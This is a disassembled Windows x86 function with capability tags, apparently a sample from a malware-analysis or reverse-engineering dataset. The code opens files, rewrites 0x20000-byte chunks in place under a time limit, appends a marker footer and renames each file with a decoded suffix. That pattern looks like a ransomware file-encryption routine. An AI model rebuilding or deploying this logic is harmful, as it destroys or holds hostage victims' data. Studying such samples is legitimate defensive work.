Function at 0x402bc7
Capabilities:
Check for time delay via gettickcount
Check if file exists
Encode data using xor
Get file attributes
Get file size
Move file
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x37c
push ebx
push esi
xor eax, eax
mov ebx, edx
push edi
mov edi, ecx
mov dword [esp + 0x60], ebx
push ebx
mov dword [esp + 0x34], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
inc ecx
cmp eax, 0xffffffff
je 0x402c29
test cl, al
je 0x402c29
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, ecx
push eax
push ebx
mov dword [esp + 0x18], eax
call esi
test eax, eax
jne 0x402c29
mov edx, ebx
call fcn.00407cbb
push dword [esp + 0x10]
push ebx
call esi
xor eax, eax
push eax
push 0x8000000
push 3
pop esi
push esi
push eax
push eax
push 0xc0000000
push ebx
mov dword [esp + 0x6c], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x5c], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x402c9e
cmp eax, 0x20
je 0x402c62
cmp eax, 0x21
jne 0x402c96
mov ebx, dword [esp + 0x60]
mov edx, ebx
call fcn.00407cbb
mov ecx, ebx
call fcn.00409f8d
xor eax, eax
push eax
push 0x8000000
push esi
push eax
push eax
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x5c], ebx
cmp ebx, 0xffffffff
jne 0x402c9e
push 2
pop eax
jmp 0x403b0b
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x20]
or eax, dword [esp + 0x24]
je 0x403a20
push 0xa0
lea ecx, [esp + 0x1d4]
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0x194]
push 0x1e
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0x7c]
push 0x16
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0x94]
push 0x14
pop eax
push eax
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0xa8]
push 0x38
call fcn.00406b80
mov edx, dword [esp + 0x28]
xor eax, eax
add esp, 4
cmp edx, eax
jl 0x402d41
jg 0x402d24
mov ecx, dword [esp + 0x20]
cmp ecx, 0x1e
jbe 0x402d45
push eax
lea eax, [esp + 0x30]
push eax
push 0x1e
lea eax, [esp + 0x1a0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x24]
xor eax, eax
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0x194], 0x4034b50
jne 0x402dc2
cmp edx, eax
jl 0x402dc2
jg 0x402d5d
cmp ecx, 0x62
jbe 0x402dc2
push eax
sub ecx, 0x62
push eax
sbb edx, eax
push edx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x30]
push eax
push 0x38
lea eax, [esp + 0xb4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x30]
push eax
push 0x14
pop ecx
push ecx
lea eax, [esp + 0xa0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
lea eax, [esp + 0x30]
push eax
push 0x16
lea eax, [esp + 0x88]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
xor eax, eax
cmp dword [esp + 0xa8], 0x6064b50
jne 0x402e36
cmp dword [esp + 0x94], 0x7064b50
jne 0x402e36
cmp dword [esp + 0x7c], 0x6054b50
jne 0x402e36
cmp dword [esp + 0xdc], eax
jl 0x402e36
jg 0x402e00
cmp dword [esp + 0xd8], 0xa0
jbe 0x402e36
mov eax, dword [esp + 0xd8]
sub eax, 0xa0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xdc]
sbb eax, 0
cmp edx, eax
jl 0x402e34
jg 0x402e26
cmp ecx, dword [esp + 0x10]
jbe 0x402e34
mov ecx, dword [esp + 0xd8]
mov edx, dword [esp + 0xdc]
xor eax, eax
push eax
add ecx, 0xffffff60
push eax
adc edx, 0xffffffff
push edx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x30]
push eax
push 0xa0
lea eax, [esp + 0x1dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x268], 0x57ea6b66
jne 0x402e88
cmp dword [esp + 0x26c], 0x6616be1a
jne 0x402e88
push 4
pop esi
jmp 0x403a20
push 0xa0
lea ecx, [esp + 0x1d4]
call fcn.00406b80
add esp, 4
mov edx, 0x412e98
push 0x20
call fcn.00406ba1
pop ecx
push 0x20
mov edx, 0x412eb8
lea ecx, [esp + 0x1f4]
call fcn.00406ba1
pop ecx
push 0x20
mov edx, 0x412ed8
lea ecx, [esp + 0x214]
call fcn.00406ba1
pop ecx
lea edx, [esp + 0x290]
call fcn.004082e8
push 0x4011f8
lea edx, [esp + 0x294]
lea ecx, [esp + 0x234]
call fcn.004053f4
lea edx, [esp + 0x294]
mov dword [esp], 0x412e98
lea ecx, [esp + 0x274]
call fcn.004053f4
pop ecx
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x274]
call fcn.004066a4
pop ecx
push 0x40
lea ecx, [esp + 0x294]
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0x270]
push 0x20
call fcn.00406b80
mov ax, word [0x412e55]
add esp, 4
push 0x64
pop ecx
cmp ax, cx
jbe 0x402f5b
mov dword [esp + 0x38], ecx
jmp 0x402f62
movzx eax, ax
mov dword [esp + 0x38], eax
xor eax, eax
push eax
push ecx
push dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.0040d5c0
xor ecx, ecx
push ecx
push dword [esp + 0x3c]
push edx
push eax
call fcn.0040d670
xor ecx, ecx
push ecx
push 0x20000
push edx
push eax
call fcn.0040d5c0
mov ecx, eax
mov eax, edx
add ecx, 1
push 0
pop edx
adc eax, edx
mov dword [esp + 0x40], eax
cmp eax, edx
jg 0x402fab
jl 0x402fc6
cmp ecx, esi
jb 0x402fc6
mov esi, ecx
mov dword [esp + 0x50], esi
cmp eax, edx
jl 0x402fca
mov eax, 0x29a
jg 0x402fc0
cmp ecx, eax
jbe 0x402fca
mov esi, eax
mov dword [esp + 0x50], esi
mov dword [esp + 0x40], edx
cmp dword [esp + 0x24], edx
jg 0x402fe7
jl 0x402fdd
mov eax, dword [esp + 0x20]
cmp eax, 0x20000
jae 0x402feb
mov dword [esp + 0x44], 1
jmp 0x403034
mov eax, dword [esp + 0x20]
push edx
push 0x20000
push dword [esp + 0x2c]
push eax
call fcn.0040d5c0
mov ecx, edx
mov dword [esp + 0x44], eax
mov ebx, eax
mov dword [esp + 0x4c], edx
shld ecx, ebx, 0x11
shl ebx, 0x11
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x5c]
cmp dword [esp + 0x24], ecx
jl 0x403038
jg 0x403028
mov ecx, dword [esp + 0x20]
cmp ecx, dword [esp + 0x10]
jb 0x403038
add eax, 1
push 0
mov dword [esp + 0x48], eax
pop eax
adc edx, eax
mov dword [esp + 0x4c], edx
lea ecx, [esi*8 + 8]
call fcn.00406b28
mov dword [esp + 0x64], eax
test eax, eax
jne 0x403054
xor esi, esi
inc esi
jmp 0x403a20
mov esi, dword [esp + 0x60]
mov ecx, esi
call fcn.00409cc1
xor edx, edx
push 0x2f
mov ecx, edx
pop edi
jmp 0x40308a
movzx edx, word [esi + eax*2]
push 0x5c
pop edi
push 0x2f
cmp dx, di
pop edi
je 0x403090
cmp dx, di
je 0x403090
add eax, 0xffffffff
adc ecx, 0xffffffff
xor edx, edx
cmp ecx, edx
jg 0x403068
jl 0x403096
cmp eax, edx
ja 0x403068
jmp 0x403096
push 0
add eax, 1
pop edx
push edx
push edx
push edx
push edx
push 0xffffffffffffffff
lea edi, [esi + eax*2]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edx
push 0xfde9
call esi
dec eax
xor ecx, ecx
push ecx
movzx eax, ax
push ecx
mov dword [esp + 0x74], eax
movzx eax, ax
push eax
mov eax, dword [esp + 0x3c]
push dword [eax + 8]
push 0xffffffffffffffff
push edi
push ecx
push 0xfde9
call esi
push ecx
push ecx
lea eax, [esp + 0x108]
push eax
lea edx, [esp + 0xec]
lea ecx, [esp + 0x2dc]
call fcn.004026a8
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [esp + 0x50]
xorps xmm0, xmm0
mov edx, dword [esp + 0x44]
mov edi, dword [esp + 0x40]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x68], eax
xor eax, eax
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x58], edx
cmp esi, eax
jne 0x403129
cmp edi, eax
je 0x403a11
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x28], eax
mov dword [esp + 0x34], ecx
mov eax, edx
or eax, dword [esp + 0x68]
je 0x40335f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0x2bf20
jae 0x40335b
xor eax, eax
push eax
push 2
push dword [esp + 0x70]
push dword [esp + 0x64]
call fcn.0040d5c0
mov ecx, dword [esp + 0x34]
xorps xmm0, xmm0
mov dword [esp + 0x58], eax
mov dword [esp + 0x68], edx
movlpd qword [esp + 0x38], xmm0
cmp ecx, esi
jne 0x403191
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x403363
mov edx, dword [esp + 0x3c]
mov edi, dword [esp + 0x38]
mov dword [esp + 0x54], edx
mov dword [esp + 0x48], edi
cmp edx, dword [esp + 0x4c]
jg 0x40333d
jl 0x4031b7
cmp edi, dword [esp + 0x44]
jae 0x40333d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0x2bf20
jae 0x403339
mov edx, dword [esp + 0x54]
mov eax, edi
or eax, edx
je 0x40320c
add edi, dword [esp + 0x58]
mov ecx, dword [esp + 0x4c]
adc edx, dword [esp + 0x68]
mov dword [esp + 0x48], edi
mov dword [esp + 0x54], edx
cmp edx, ecx
jl 0x40320c
mov eax, dword [esp + 0x44]
jg 0x4031f8
cmp edi, eax
jb 0x40320c
mov edi, eax
mov edx, ecx
sub edi, 1
push 0
pop ecx
sbb edx, ecx
mov dword [esp + 0x48], edi
mov dword [esp + 0x54], edx
mov ecx, dword [esp + 0x34]
xor eax, eax
xorps xmm0, xmm0
movlpd qword [esp + 0x70], xmm0
cmp ecx, eax
jne 0x403225
cmp dword [esp + 0x28], eax
je 0x40327e
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x38], ebx
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x70], ebx
mov ebx, dword [esp + 0x5c]
mov esi, dword [esp + 0x70]
mov eax, dword [esp + 0x64]
cmp dword [eax + esi*8], edi
mov esi, dword [esp + 0x50]
mov eax, dword [esp + 0x28]
jne 0x403268
mov ebx, dword [esp + 0x70]
mov ecx, dword [esp + 0x64]
cmp dword [ecx + ebx*8 + 4], edx
mov ebx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x34]
je 0x403317
add dword [esp + 0x70], 1
adc dword [esp + 0x38], 0
cmp dword [esp + 0x70], ecx
jne 0x403239
cmp dword [esp + 0x38], eax
jne 0x403239
xor eax, eax
mov esi, edx
push eax
push eax
shld esi, edi, 0x11
push esi
shl edi, 0x11
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x38]
push 0x20000
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x2d0]
push dword [esp + 0x2c]
mov edx, dword [eax]
call fcn.004026ee
pop ecx
xor eax, eax
push eax
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
mov eax, dword [esp + 0x38]
push dword [esp + 0x34]
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x28]
add ecx, 1
mov edi, dword [esp + 0x48]
mov edx, dword [esp + 0x54]
adc eax, esi
mov esi, dword [esp + 0x64]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x28], eax
mov dword [esi + ecx*8], edi
mov dword [esi + ecx*8 + 4], edx
mov esi, dword [esp + 0x50]
add edi, 1
mov dword [esp + 0x48], edi
adc edx, 0
mov dword [esp + 0x54], edx
cmp ecx, esi
jne 0x4031a1
cmp eax, dword [esp + 0x40]
jne 0x4031a1
jmp 0x40333d
mov ecx, dword [esp + 0x34]
mov edi, dword [esp + 0x40]
mov edx, dword [esp + 0x58]
cmp ecx, esi
jne 0x403139
mov eax, dword [esp + 0x28]
cmp eax, edi
jne 0x403139
jmp 0x403363
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x28]
xor esi, esi
cmp eax, esi
jl 0x403a13
jg 0x403377
cmp ecx, esi
jbe 0x403a13
mov edi, dword [esp + 0x30]
push dword [esp + 0x60]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x412ef8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40
pop edx
lea ecx, [esp + 0xe0]
call fcn.00405478
cmp byte [0x412e57], 0
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x250], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x260], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x264], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x254], eax
mov dword [esp + 0x258], ecx
mov dword [esp + 0x268], 0x57ea6b66
mov dword [esp + 0x26c], 0x6616be1a
je 0x4039d8
push 0x2d
pop eax
mov word [esp + 0xe0], ax
mov ebx, 0xffff
xor eax, eax
mov ecx, ebx
mov word [esp + 0xe2], ax
mov eax, dword [0x411d49]
neg eax
sbb eax, eax
and eax, 8
mov word [esp + 0xe4], ax
call fcn.0040823a
mov ecx, ebx
mov word [esp + 0xe6], ax
call fcn.0040823a
mov edx, dword [0x411d49]
lea esi, [esp + 0xe0]
mov ebx, dword [0x40fd45]
lea edi, [esp + 0x198]
mov word [esp + 0xe8], ax
test edx, edx
mov eax, dword [0x41377c]
mov dword [esp + 0xea], eax
mov eax, ebx
cmovne eax, edx
mov dword [esp + 0xf2], ebx
mov dword [esp + 0xee], eax
mov eax, dword [0x40fcc1]
push 6
mov word [esp + 0xfa], ax
pop ecx
mov dword [esp + 0x194], 0x4034b50
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [esp + 0xfa], 0x800
test edx, edx
mov word [esp + 0x1b0], cx
push 0x2d
cmovne ebx, edx
mov esi, 0xffff
add eax, 0x1e
mov ecx, esi
add eax, ebx
mov dword [esp + 0x3c], eax
pop eax
mov word [esp + 0xf8], ax
call fcn.0040823a
mov ecx, esi
mov word [esp + 0xfe], ax
call fcn.0040823a
or ecx, 0xffffffff
mov word [esp + 0x100], ax
call fcn.0040823a
or dword [esp + 0x106], 0xffffffff
lea esi, [esp + 0xf8]
or dword [esp + 0x10a], 0xffffffff
lea edi, [esp + 0x1b6]
mov edx, dword [esp + 0x6c]
push 6
pop ecx
mov dword [esp + 0x102], eax
push 0x14
pop eax
mov word [esp + 0x10e], dx
mov dword [esp + 0x1b2], 0x4034b50
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x20]
mov word [esp + 0x1ce], ax
xor eax, eax
inc eax
add ecx, 0xa0
push 0x10
mov word [esp + 0x7c], ax
pop eax
mov word [esp + 0x7a], ax
mov eax, dword [esp + 0x24]
push 0
pop esi
adc eax, esi
mov dword [esp + 0x120], ecx
mov dword [esp + 0x128], ecx
lea edi, [esp + 0x136]
xor ecx, ecx
mov dword [esp + 0x124], eax
mov dword [esp + 0x12c], eax
movzx eax, dx
cdq
mov ebx, edx
mov dword [esp + 0x130], 0x2014b50
mov edx, dword [esp + 0x38]
add edx, eax
mov dword [esp + 0xa8], 0x6064b50
push 0x3f
adc ecx, ebx
mov dword [esp + 0xb0], 0x2c
add edx, dword [esp + 0x24]
adc ecx, dword [esp + 0x28]
add edx, 0xd2
mov dword [esp + 0x14], edx
adc ecx, esi
xor edx, edx
mov dword [esp + 0x4c], ecx
lea esi, [esp + 0xe4]
pop ecx
push 6
mov word [esp + 0x138], cx
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x3f
xor ecx, ecx
mov dword [esp + 0x156], edx
pop edx
push 6
mov dword [esp + 0x152], ecx
lea esi, [esp + 0xfc]
mov dword [esp + 0x15a], ecx
lea edi, [esp + 0x168]
mov dword [esp + 0x15e], ecx
pop ecx
push 0x14
mov word [esp + 0x166], dx
xor edx, edx
mov dword [esp + 0x162], 0x2014b50
rep movsd dword es:[edi], dword [esi]
mov esi, dword [0x40fcc1]
mov edi, dword [esp + 0x4c]
pop ecx
mov word [esp + 0x17c], cx
xor ecx, ecx
push 0
add esi, eax
mov dword [esp + 0x182], ecx
mov word [esp + 0x186], cx
mov dword [esp + 0x188], ecx
adc edx, ebx
mov ecx, dword [esp + 0x3c]
mov ebx, dword [esp + 0x14]
add esi, ebx
mov dword [esp + 0x18c], ecx
pop ecx
push 0x3f
pop eax
push 0xa
mov word [esp + 0xb8], ax
adc edx, edi
pop eax
add esi, 0x70
mov word [esp + 0xb6], ax
push 2
adc edx, ecx
mov dword [esp + 0xb4], ecx
pop eax
mov dword [esp + 0xb8], ecx
mov dword [esp + 0xbc], ecx
mov dword [esp + 0xc4], ecx
mov dword [esp + 0xcc], ecx
mov ecx, esi
mov dword [esp + 0xc0], eax
sub ecx, ebx
mov dword [esp + 0xc8], eax
mov eax, edx
sbb eax, edi
mov dword [esp + 0xd0], ecx
or dword [esp + 0x8c], 0xffffffff
xorps xmm0, xmm0
push 2
pop ecx
mov dword [esp + 0xdc], edi
xor edi, edi
push edi
mov dword [esp + 0xd8], eax
xor eax, eax
push edi
mov dword [esp + 0x88], eax
mov word [esp + 0x98], ax
mov eax, dword [esp + 0x40]
movlpd qword [esp + 0x18], xmm0
add eax, 0x32
push dword [esp + 0x1c]
mov dword [esp + 0xac], edx
mov edx, dword [esp + 0x78]
push dword [esp + 0x1c]
mov dword [esp + 0xac], esi
sub esi, ebx
mov dword [esp + 0xb4], ecx
mov word [esp + 0x94], cx
mov word [esp + 0x96], cx
movzx ecx, dx
mov dword [esp + 0xe8], ebx
add eax, ecx
mov ebx, dword [esp + 0x6c]
mov dword [esp + 0x98], esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push ebx
mov dword [esp + 0xa8], 0x7064b50
mov dword [esp + 0xac], edi
mov dword [esp + 0x90], 0x6054b50
mov dword [esp + 0x270], eax
call esi
push edi
mov edi, dword [esp + 0x34]
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x264]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x1e
lea eax, [esp + 0x1a0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
mov eax, dword [0x411d49]
test eax, eax
je 0x403802
xor ecx, ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x411d4d
jmp 0x403815
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fd45]
push 0x40fd49
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x1e
lea eax, [esp + 0x1be]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x6c]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x84]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x10
lea eax, [esp + 0x12c]
push eax
push ebx
call esi
push 2
pop eax
push eax
xor eax, eax
xorps xmm0, xmm0
push eax
movlpd qword [esp + 0x18], xmm0
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x34]
push dword [edi]
push ebx
call esi
xor ecx, ecx
cmp ecx, dword [esp + 0x24]
jl 0x4038bb
mov eax, dword [esp + 0x20]
jg 0x4038b4
cmp dword [esp + 0x25c], eax
jbe 0x4038bb
mov dword [esp + 0x25c], eax
push ecx
lea eax, [esp + 0x10]
push eax
push 0xa0
lea eax, [esp + 0x1dc]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x2e
lea eax, [esp + 0x13c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push dword [0x40fcc1]
push 0x40fcc5
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x2e
lea eax, [esp + 0x16a]
push eax
push ebx
call esi
mov ecx, dword [esp + 0x6c]
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
movzx eax, cx
push eax
push dword [edi + 8]
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x84]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x10
lea eax, [esp + 0x12c]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x38
lea eax, [esp + 0xb4]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x14
pop eax
push eax
lea eax, [esp + 0xa0]
push eax
push ebx
call esi
xor eax, eax
push eax
lea eax, [esp + 0x10]
push eax
push 0x16
lea eax, [esp + 0x88]
push eax
push ebx
call esi
push 0x2f
pop eax
xor ecx, ecx
mov byte [esp + 0x12], al
mov word [esp + 0x10], 0x557b
mov eax, ecx
mov dword [esp + 0x13], 0x25553c55
mov word [esp + 0x17], 0x5555
mov byte [esp + 0x19], cl
xor byte [esp + eax + 0x10], 0x55
inc eax
cmp eax, 9
jb 0x4039b7
lea eax, [esp + 0x10]
mov byte [esp + 0x19], cl
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor esi, esi
jmp 0x403a17
push 2
pop eax
push eax
push esi
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [esp + 0x10]
push eax
push 0xa0
lea eax, [esp + 0x1dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x403a17
xor esi, esi
mov edi, dword [esp + 0x30]
mov ecx, dword [esp + 0x64]
call fcn.00406bcd
push 0x40
lea ecx, [esp + 0xe4]
call fcn.00406b80
add esp, 4
lea ecx, [esp + 0x2d0]
push 0xb8
call fcn.00406b80
add esp, 4
cmp ebx, 0xffffffff
je 0x403a51
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x403b09
cmp byte [0x412e57], 0
jne 0x403a6b
cmp byte [0x412e58], 0
je 0x403a98
push dword [edi + 4]
mov ebx, dword [esp + 0x64]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x403a9c
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x403a91
xor eax, eax
mov esi, eax
jmp 0x403a9c
push 2
pop eax
mov esi, eax
jmp 0x403b09
mov ebx, dword [esp + 0x60]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [edi + 4]
mov ecx, ebx
call fcn.00409cc1
xor edx, edx
mov ecx, edx
jmp 0x403ace
push 0x5c
pop edx
cmp word [ebx + eax*2], dx
push 0
pop edx
je 0x403ad4
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, edx
jg 0x403ab6
jl 0x403b09
cmp eax, edx
ja 0x403ab6
jmp 0x403b09
xor ecx, ecx
push 0x413780
mov word [ebx + eax*2 + 2], cx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [edi + 4]
call fcn.00409baa
test eax, eax
jne 0x403b09
push dword [0x40fd45]
mov ecx, dword [edi + 4]
mov edx, 0x40fd49
call fcn.00409c13
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret